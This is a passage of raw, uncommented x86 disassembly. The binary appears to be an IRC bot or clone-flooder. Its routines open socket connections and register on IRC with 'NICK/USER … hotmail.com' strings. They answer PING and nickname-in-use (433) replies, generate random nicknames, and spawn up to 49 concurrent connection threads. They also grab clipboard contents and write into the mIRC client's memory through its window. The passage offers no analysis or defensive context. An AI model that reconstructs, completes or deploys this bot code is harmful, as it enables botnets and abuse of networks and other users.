edi, offset dword_4D3DF0 push offset dword_4D2DE0 push offset dword_4D35E0 push [ebp+arg_0] push offset dword_437B4C push 200h push edi call sub_41B980 add esp, 1Ch push [ebp+var_4] push 0 call esi push eax nop call near ptr 27B0000h mov eax, edi pop edi pop esi leave retn sub_417552 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4175E9 proc near ; CODE XREF: sub_416F1A:loc_417056p var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, dword_4D3FF8 push ebx push esi push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_16], ax mov [ebp+var_18], cx movzx eax, ax push eax push 8 nop call near ptr 27C0B4Ch push eax nop call near ptr 27C0000h and [ebp+var_C], 0 mov [ebp+var_14], eax mov ebx, offset dword_4D35E0 mov edi, 200h mov esi, offset dword_4D2BE0 loc_41762F: ; CODE XREF: sub_4175E9+FAj mov eax, dword_4D3FF8 add eax, eax push eax push dword_4D4000 push [ebp+var_14] call sub_41C310 add esp, 0Ch lea eax, [ebp+var_18] push eax push [ebp+var_C] call dword_4D3DE4 mov eax, dword_4D3FF8 and [ebp+var_10], 0 mov ecx, [ebp+var_14] mov [ebp+var_8], 1 test eax, eax jbe short loc_4176A4 loc_41766C: ; CODE XREF: sub_4175E9+B3j cmp [ebp+var_8], 0 jz short loc_4176C1 mov dl, [ecx] test dl, dl mov [ebp+var_1], dl jz short loc_417690 cmp byte ptr [ecx+1], 0 jnz short loc_417690 cmp dl, 20h jnb short loc_41768A and [ebp+var_8], 0 loc_41768A: ; CODE XREF: sub_4175E9+9Bj cmp [ebp+var_1], 7Eh jbe short loc_417694 loc_417690: ; CODE XREF: sub_4175E9+90j ; sub_4175E9+96j and [ebp+var_8], 0 loc_417694: ; CODE XREF: sub_4175E9+A5j inc ecx inc ecx inc [ebp+var_10] cmp [ebp+var_10], eax jb short loc_41766C cmp [ebp+var_8], 0 jz short loc_4176C1 loc_4176A4: ; CODE XREF: sub_4175E9+81j push [ebp+var_14] push offset dword_4D2DE0 push ebx push [ebp+arg_0] push offset dword_437B4C push edi push esi call sub_41B980 add esp, 1Ch jmp short loc_4176D9 ; --------------------------------------------------------------------------- loc_4176C1: ; CODE XREF: sub_4175E9+87j ; sub_4175E9+B9j push offset dword_4D2DE0 push ebx push [ebp+arg_0] push offset dword_437B9C push edi push esi call sub_41B980 add esp, 18h loc_4176D9: ; CODE XREF: sub_4175E9+D6j inc [ebp+var_C] cmp [ebp+var_C], 0FFh jbe loc_41762F push [ebp+var_14] push 0 nop call near ptr 27C0B4Ch push eax nop call near ptr 27B0000h mov eax, esi pop edi pop esi pop ebx leave retn sub_4175E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417702 proc near ; CODE XREF: sub_4178BA+2Fp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CAFF4 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_41777E push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4CAF74 push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CAFB4 cmp eax, esi jnz short loc_417763 push [ebp+arg_0] call dword_4CAFF8 test eax, eax jz short loc_41777E mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_417763: ; CODE XREF: sub_417702+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4CAF1C cmp eax, esi jnz short loc_417782 push edi call dword_4CB00C loc_41777E: ; CODE XREF: sub_417702+1Bj ; sub_417702+58j mov eax, esi jmp short loc_417784 ; --------------------------------------------------------------------------- loc_417782: ; CODE XREF: sub_417702+73j mov eax, edi loc_417784: ; CODE XREF: sub_417702+7Ej pop edi pop esi leave retn sub_417702 endp ; =============== S U B R O U T I N E ======================================= sub_417788 proc near ; CODE XREF: sub_401ACD+3294p ; sub_401ACD+3300p ... arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] push offset asc_429998 ; "\n" push edi call sub_41BEC0 pop ecx mov esi, offset dword_4D400C pop ecx loc_4177A0: ; CODE XREF: sub_417788+42j cmp dword ptr [esi-4], 1 jnz short loc_4177BE cmp dword ptr [esi], 0 jbe short loc_4177BE push 0 push edi call sub_41AFE0 pop ecx push eax push edi push dword ptr [esi] call dword_4CAFC4 loc_4177BE: ; CODE XREF: sub_417788+1Cj ; sub_417788+21j add esi, 210h cmp esi, offset dword_4DA72C jl short loc_4177A0 pop edi pop esi retn sub_417788 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4177CF proc near ; CODE XREF: sub_4178BA+155p var_420 = byte ptr -420h var_220 = byte ptr -220h var_20 = dword ptr -20h var_1C = dword ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 420h push ebx push esi mov esi, offset asc_42CA2C ; " " push edi push esi push [ebp+arg_0] call sub_41C0F4 pop ecx mov [ebp+var_20], eax pop ecx lea edi, [ebp+var_1C] push 7 pop ebx loc_4177F4: ; CODE XREF: sub_4177CF+35j push esi push 0 call sub_41C0F4 mov [edi], eax pop ecx add edi, 4 dec ebx pop ecx jnz short loc_4177F4 mov esi, [ebp+var_1C] xor edi, edi cmp [ebp+var_20], edi jnz short loc_41781C cmp esi, edi jnz short loc_41781C push 1 pop eax jmp loc_4178B5 ; --------------------------------------------------------------------------- loc_41781C: ; CODE XREF: sub_4177CF+3Fj ; sub_4177CF+43j push [ebp+var_20] push offset aPing ; "PING" call sub_41C070 pop ecx pop ecx test eax, eax push esi jnz short loc_417837 push offset dword_4387B4 jmp short loc_417885 ; --------------------------------------------------------------------------- loc_417837: ; CODE XREF: sub_4177CF+5Fj push offset a433 ; "433" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_417858 push esi push offset dword_4387B0 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4178B3 loc_417858: ; CODE XREF: sub_4177CF+76j push 200h lea eax, [ebp+var_420] push edi push eax call sub_41B590 lea eax, [ebp+var_420] push eax call sub_417ADD add esp, 10h lea eax, [ebp+var_420] push eax push offset dword_4387A4 loc_417885: ; CODE XREF: sub_4177CF+66j lea eax, [ebp+var_220] push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_220] push edi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_220] push eax push [ebp+arg_4] call dword_4CAFC4 loc_4178B3: ; CODE XREF: sub_4177CF+87j xor eax, eax loc_4178B5: ; CODE XREF: sub_4177CF+48j pop edi pop esi pop ebx leave retn sub_4177CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4178BA proc near ; DATA XREF: sub_417A5F+61o var_4008 = byte ptr -4008h var_3008 = byte ptr -3008h var_2008 = byte ptr -2008h var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 4008h call sub_41BB20 push ebx push esi mov esi, [ebp+arg_0] push edi imul esi, 210h push 1 pop edi lea eax, dword_4D4014[esi] mov dword_4D4008[esi], edi push dword_4D4214[esi] push eax call sub_417702 pop ecx xor ebx, ebx cmp eax, edi pop ecx mov dword_4D400C[esi], eax jb loc_417A3F mov edi, 1000h lea eax, [ebp+var_2008] push edi push ebx push eax call sub_41B590 lea eax, [ebp+var_2008] push eax call sub_417ADD lea eax, [ebp+var_4008] push eax call sub_417ADD lea eax, [ebp+var_3008] push eax call sub_417ADD add esp, 18h lea eax, [ebp+var_3008] push eax lea eax, [ebp+var_4008] push eax lea eax, [ebp+var_2008] push eax lea eax, [ebp+var_1008] push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."... push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_1008] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_4D400C[esi] call dword_4CAFC4 push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41B590 add esp, 0Ch loc_417996: ; CODE XREF: sub_4178BA+111j ; sub_4178BA+180j push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1008] push ebx push edi push eax push dword_4D400C[esi] call dword_4CAF8C cmp eax, ebx mov [ebp+var_8], eax jle short loc_417A3F xor eax, eax cmp [ebp+var_8], ebx mov [ebp+var_4], eax jz short loc_417996 loc_4179CD: ; CODE XREF: sub_4178BA+17Ej mov al, [ebp+eax+var_1008] cmp al, 0Dh jz short loc_4179F4 cmp al, 0Ah jz short loc_4179F4 cmp [ebp+arg_0], 0FA0h jz short loc_4179F4 mov ecx, [ebp+arg_0] inc [ebp+arg_0] mov [ebp+ecx+var_2008], al jmp short loc_417A2E ; --------------------------------------------------------------------------- loc_4179F4: ; CODE XREF: sub_4178BA+11Cj ; sub_4178BA+120j ... mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_417A2E push dword_4D400C[esi] mov [ebp+eax+var_2008], bl lea eax, [ebp+var_2008] push eax call sub_4177CF pop ecx test eax, eax pop ecx ja short loc_417A3F push edi lea eax, [ebp+var_2008] push ebx push eax call sub_41B590 add esp, 0Ch mov [ebp+arg_0], ebx loc_417A2E: ; CODE XREF: sub_4178BA+138j ; sub_4178BA+13Fj mov eax, [ebp+var_4] inc eax cmp eax, [ebp+var_8] mov [ebp+var_4], eax jnz short loc_4179CD jmp loc_417996 ; --------------------------------------------------------------------------- loc_417A3F: ; CODE XREF: sub_4178BA+40j ; sub_4178BA+107j ... mov dword_4D4008[esi], ebx mov esi, dword_4D400C[esi] cmp esi, ebx jbe short loc_417A56 push esi call dword_4CB00C loc_417A56: ; CODE XREF: sub_4178BA+193j pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_4178BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417A5F proc near ; CODE XREF: sub_401ACD+31E1p var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp [ebp+arg_8], ebx push esi push edi mov [ebp+var_4], ebx jle short loc_417AD8 loc_417A71: ; CODE XREF: sub_417A5F+77j xor edi, edi mov eax, offset dword_4D4008 loc_417A78: ; CODE XREF: sub_417A5F+28j cmp [eax], ebx jz short loc_417A89 add eax, 210h inc edi cmp eax, offset dword_4DA728 jl short loc_417A78 loc_417A89: ; CODE XREF: sub_417A5F+1Bj cmp edi, 31h jz short loc_417AD8 mov esi, edi push [ebp+arg_0] imul esi, 210h lea eax, dword_4D4014[esi] push eax call sub_41BEB0 mov eax, [ebp+arg_4] pop ecx mov dword_4D4214[esi], eax pop ecx lea eax, [ebp+var_8] mov dword_4D4008[esi], 1 push eax push ebx push edi push offset sub_4178BA push ebx push ebx nop call near ptr 26905D4h inc [ebp+var_4] mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jl short loc_417A71 loc_417AD8: ; CODE XREF: sub_417A5F+10j ; sub_417A5F+2Dj pop edi pop esi pop ebx leave retn sub_417A5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417ADD proc near ; CODE XREF: sub_401ACD+374Dp ; sub_401ACD+3793p ... var_40 = byte ptr -40h var_2D = byte ptr -2Dh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_18 = qword ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 40h push 14h lea eax, [ebp+var_2C] push 0 push eax call sub_41B590 add esp, 0Ch call sub_41B8E2 mov [ebp+var_C], eax fild [ebp+var_C] fmul dbl_4276F8 call sub_41C798 cmp eax, 1 jnz short loc_417B27 call sub_41B8E2 call sub_41B8E2 push 66h cdq pop ecx idiv ecx push off_437EF0[edx*4] jmp short loc_417B40 ; --------------------------------------------------------------------------- loc_417B27: ; CODE XREF: sub_417ADD+2Fj call sub_41B8E2 call sub_41B8E2 cdq mov ecx, 0C0h idiv ecx push off_437BF0[edx*4] loc_417B40: ; CODE XREF: sub_417ADD+48j lea eax, [ebp+var_2C] push eax call sub_41BEB0 pop ecx lea eax, [ebp+var_2C] pop ecx push ebx push esi push edi push eax call sub_41AFE0 pop ecx mov esi, eax push 13h mov [ebp+var_4], esi pop eax sub eax, esi mov [ebp+var_C], eax call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276F0 call sub_41C798 mov ebx, eax call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276E8 call sub_41C798 cmp esi, 2 mov edi, offset a__0 ; "-|`_\\{[]}" jle short loc_417BB3 cmp esi, 3 jnz short loc_417BAA cmp ebx, 1 jz short loc_417BB3 loc_417BAA: ; CODE XREF: sub_417ADD+C6j cmp eax, 1 jnz loc_417C6D loc_417BB3: ; CODE XREF: sub_417ADD+C1j ; sub_417ADD+CBj call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276E0 call sub_41C798 push off_437EF0[eax*4] lea eax, [ebp+var_40] push eax call sub_41BEB0 movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax push edi call sub_41BFB0 add esp, 10h test eax, eax jnz short loc_417C5A movsx eax, [ebp+var_40] push eax push edi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_417C5A call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax dec esi fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], esi fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E8 call sub_41C798 cmp eax, 1 jnz short loc_417C5A push edi call sub_41AFE0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-8] call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-8] fmul dbl_4276E8 call sub_41C798 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al loc_417C5A: ; CODE XREF: sub_417ADD+111j ; sub_417ADD+122j ... push [ebp+var_C] lea eax, [ebp+var_40] push eax lea eax, [ebp+var_2C] push eax call sub_41C1E0 add esp, 0Ch loc_417C6D: ; CODE XREF: sub_417ADD+D0j lea eax, [ebp+var_2C] push eax call sub_41AFE0 mov esi, eax movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax mov [ebp+var_4], esi call sub_41D648 pop ecx test eax, eax pop ecx jnz loc_417ED5 and [ebp+var_C], eax movsx eax, byte ptr [ebx-1] push eax push edi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz loc_417DCC call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax lea eax, [esi+3] fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E8 call sub_41C798 cmp esi, 3 jz short loc_417CDB cmp eax, 1 jnz loc_417DCC loc_417CDB: ; CODE XREF: sub_417ADD+1F3j push 2 cdq pop ecx idiv ecx cmp edx, 1 jnz short loc_417D1D push edi call sub_41AFE0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276E8 call sub_41C798 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al jmp short loc_417D39 ; --------------------------------------------------------------------------- loc_417D1D: ; CODE XREF: sub_417ADD+207j call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41C798 mov cl, 41h sub cl, al mov [ebx], cl loc_417D39: ; CODE XREF: sub_417ADD+23Ej push 1 inc esi pop ebx mov [ebp+var_4], esi mov [ebp+var_C], ebx call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D0 call sub_41C798 cmp esi, 3 jz short loc_417D62 cmp eax, ebx jnz short loc_417DCC loc_417D62: ; CODE XREF: sub_417ADD+27Fj push 2 pop ebx cdq mov ecx, ebx idiv ecx test edx, edx jnz short loc_417DA7 push edi call sub_41AFE0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276E8 call sub_41C798 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebp+esi+var_2C], al jmp short loc_417DC5 ; --------------------------------------------------------------------------- loc_417DA7: ; CODE XREF: sub_417ADD+28Fj call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41C798 mov cl, 41h sub cl, al mov [ebp+esi+var_2C], cl loc_417DC5: ; CODE XREF: sub_417ADD+2C8j inc esi mov [ebp+var_C], ebx mov [ebp+var_4], esi loc_417DCC: ; CODE XREF: sub_417ADD+1C9j ; sub_417ADD+1F8j ... cmp esi, 6 jge loc_417E55 cmp esi, 5 jge short loc_417DED call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276F0 jmp short loc_417E0B ; --------------------------------------------------------------------------- loc_417DED: ; CODE XREF: sub_417ADD+2FBj call sub_41B8E2 push 8 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] pop eax sub eax, esi mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E8 loc_417E0B: ; CODE XREF: sub_417ADD+30Ej call sub_41C798 test eax, eax jnz short loc_417E2E call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C8 call sub_41C798 mov cl, 30h jmp short loc_417E4B ; --------------------------------------------------------------------------- loc_417E2E: ; CODE XREF: sub_417ADD+335j cmp eax, 1 jnz short loc_417E55 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41C798 mov cl, 41h loc_417E4B: ; CODE XREF: sub_417ADD+34Fj sub cl, al mov [ebp+esi+var_2C], cl inc esi mov [ebp+var_4], esi loc_417E55: ; CODE XREF: sub_417ADD+2F2j ; sub_417ADD+354j cmp [ebp+var_C], 2 jge short loc_417ED5 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276E8 call sub_41C798 cmp eax, 1 jnz short loc_417ED5 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C8 call sub_41C798 mov cl, 30h sub cl, al mov [ebp+esi+var_2C], cl call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C0 call sub_41C798 cmp eax, 1 jnz short loc_417ED5 cmp [ebp+var_C], eax jge short loc_417ED5 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B8 call sub_41C798 mov cl, 30h sub cl, al mov [ebp+esi+var_2B], cl loc_417ED5: ; CODE XREF: sub_417ADD+1B1j ; sub_417ADD+37Cj ... lea eax, [ebp+var_2C] push 14h push eax push [ebp+arg_0] call sub_41B5F0 mov eax, [ebp+arg_0] add esp, 0Ch pop edi pop esi pop ebx leave retn sub_417ADD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417EEE proc near ; CODE XREF: sub_401ACD+BEBp ; sub_401ACD+C28p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_417F79 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_417F79 cmp [ebp+arg_8], esi jz short loc_417F79 cmp byte ptr [eax], 0 jz short loc_417F79 push ebx push edi call sub_426464 mov ebx, eax pop ecx test ebx, ebx jz short loc_417F74 push [ebp+arg_4] push edi call sub_41B900 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_417F6D sub eax, edi push eax push edi push ebx call sub_41B5F0 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_41AFE0 push eax push [ebp+arg_8] push ebx call sub_41C1E0 push [ebp+arg_4] call sub_41AFE0 add eax, esi push eax push ebx call sub_41BEC0 push ebx push edi call sub_41BEB0 add esp, 30h mov esi, edi loc_417F6D: ; CODE XREF: sub_417EEE+3Cj push ebx call sub_41B0B1 pop ecx loc_417F74: ; CODE XREF: sub_417EEE+2Bj mov eax, esi pop ebx jmp short loc_417F7B ; --------------------------------------------------------------------------- loc_417F79: ; CODE XREF: sub_417EEE+Cj ; sub_417EEE+13j ... xor eax, eax loc_417F7B: ; CODE XREF: sub_417EEE+89j pop edi pop esi pop ebp retn sub_417EEE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417F7F proc near ; CODE XREF: sub_401955+E9p ; ___:004102F0p var_7D0 = dword ptr -7D0h var_7CC = byte ptr -7CCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h lea eax, [ebp+var_7D0] push 0 push eax call sub_41B590 mov esi, [ebp+arg_0] push esi call sub_41AFE0 add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_417FB5 or eax, 0FFFFFFFFh jmp short loc_418028 ; --------------------------------------------------------------------------- loc_417FB5: ; CODE XREF: sub_417F7F+2Fj xor ecx, ecx mov [ebp+var_7D0], esi test eax, eax jle short loc_417FD7 loc_417FC1: ; CODE XREF: sub_417F7F+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_417FCE cmp dl, 0Dh jnz short loc_417FD2 loc_417FCE: ; CODE XREF: sub_417F7F+48j and byte ptr [ecx+esi], 0 loc_417FD2: ; CODE XREF: sub_417F7F+4Dj inc ecx cmp ecx, eax jl short loc_417FC1 loc_417FD7: ; CODE XREF: sub_417F7F+40j xor edx, edx push edi test eax, eax jle short loc_418008 lea edi, [ebp+var_7CC] loc_417FE4: ; CODE XREF: sub_417F7F+87j cmp byte ptr [edx+esi], 0 jnz short loc_418003 cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_418003 cmp ebx, 1F4h jge short loc_418008 mov [edi], ecx inc ebx add edi, 4 loc_418003: ; CODE XREF: sub_417F7F+69j ; sub_417F7F+74j inc edx cmp edx, eax jl short loc_417FE4 loc_418008: ; CODE XREF: sub_417F7F+5Dj ; sub_417F7F+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_418026 lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_41C310 add esp, 0Ch loc_418026: ; CODE XREF: sub_417F7F+8Ej mov eax, ebx loc_418028: ; CODE XREF: sub_417F7F+34j pop esi pop ebx leave retn sub_417F7F endp ; =============== S U B R O U T I N E ======================================= sub_41802C proc near ; CODE XREF: sub_418086+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_418065 push ebx mov ebx, edi loc_418049: ; CODE XREF: sub_41802C+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_418068 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_418049 pop ebx loc_418065: ; CODE XREF: sub_41802C+18j pop edi pop esi retn sub_41802C endp ; =============== S U B R O U T I N E ======================================= sub_418068 proc near ; CODE XREF: sub_41802C+25p ; sub_418086+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_41D74C cmp al, 61h pop ecx jl short loc_418083 cmp al, 7Ah jg short loc_418083 movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_418083: ; CODE XREF: sub_418068+Ej ; sub_418068+12j xor eax, eax retn sub_418068 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418086 proc near ; CODE XREF: ___:0041532Dp var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_41BB20 push ebx push esi push edi push [ebp+arg_0] call sub_41AFE0 push [ebp+arg_4] mov [ebp+var_4], eax call sub_41AFE0 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_41802C add esp, 14h dec esi mov edi, esi loc_4180C4: ; CODE XREF: sub_418086+B6j test esi, esi jle short loc_418142 mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_41D74C mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_41D74C pop ecx cmp eax, ebx pop ecx jz short loc_41813A loc_4180EA: ; CODE XREF: sub_418086+B2j mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_418068 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_41810B mov eax, ecx loc_41810B: ; CODE XREF: sub_418086+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_41813E mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_41D74C mov edx, eax movsx eax, byte ptr [edi+ebx] push eax mov [ebp+var_8], edx call sub_41D74C pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_4180EA loc_41813A: ; CODE XREF: sub_418086+62j dec edi dec esi jmp short loc_4180C4 ; --------------------------------------------------------------------------- loc_41813E: ; CODE XREF: sub_418086+8Aj xor eax, eax jmp short loc_418147 ; --------------------------------------------------------------------------- loc_418142: ; CODE XREF: sub_418086+40j mov eax, [ebp+arg_0] add eax, edi loc_418147: ; CODE XREF: sub_418086+BAj pop edi pop esi pop ebx leave retn sub_418086 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41814C proc near ; CODE XREF: sub_401ACD+67A3p ; sub_401ACD+789Ep var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi nop call near ptr 2690CE2h mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h nop call near ptr 27E0000h lea eax, [ebp+var_100] loc_418185: ; CODE XREF: sub_41814C+46j mov cl, [eax] cmp cl, 1Fh jg short loc_418191 cmp cl, 9 jnz short loc_418194 loc_418191: ; CODE XREF: sub_41814C+3Ej inc eax jmp short loc_418185 ; --------------------------------------------------------------------------- loc_418194: ; CODE XREF: sub_41814C+43j ; sub_41814C+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_4181AE mov cl, [eax] cmp cl, 2Eh jz short loc_418194 cmp cl, 21h jl short loc_418194 loc_4181AE: ; CODE XREF: sub_41814C+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_4DA72C push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_41B980 add esp, 18h mov eax, esi pop esi leave retn sub_41814C endp ; =============== S U B R O U T I N E ======================================= sub_4181D6 proc near ; CODE XREF: sub_401ACD+24CAp push esi push 0 call dword_4CAF44 test eax, eax jz short loc_41820D push 1 call dword_4CAF64 mov esi, eax test esi, esi jz short loc_41820D push edi push esi nop call near ptr 27F0754h push esi mov edi, eax nop call near ptr 27F0000h call dword_4CAFC8 mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_41820D: ; CODE XREF: sub_4181D6+Bj ; sub_4181D6+19j xor eax, eax pop esi retn sub_4181D6 endp ; =============== S U B R O U T I N E ======================================= sub_418211 proc near ; CODE XREF: sub_401ACD+7661p arg_0 = dword ptr 4 push ebp push esi push edi xor esi, esi mov edi, offset aMirc_0 ; "mIRC" push esi push edi call dword_4CAF80 mov ebp, eax cmp ebp, esi jz short loc_41828D push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh call near ptr 28001C9h nop push esi push esi mov edi, eax push esi push 0F001Fh push edi nop call near ptr 2800000h push [esp+10h+arg_0] mov ebx, eax push ebx call sub_41B886 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_4CAFD0 push esi push 1 push 4C9h push ebp call dword_4CAFD0 push ebx nop call near ptr 27F0C7Ah push edi nop call near ptr 26708E6h push 1 pop eax pop ebx jmp short loc_41828F ; --------------------------------------------------------------------------- loc_41828D: ; CODE XREF: 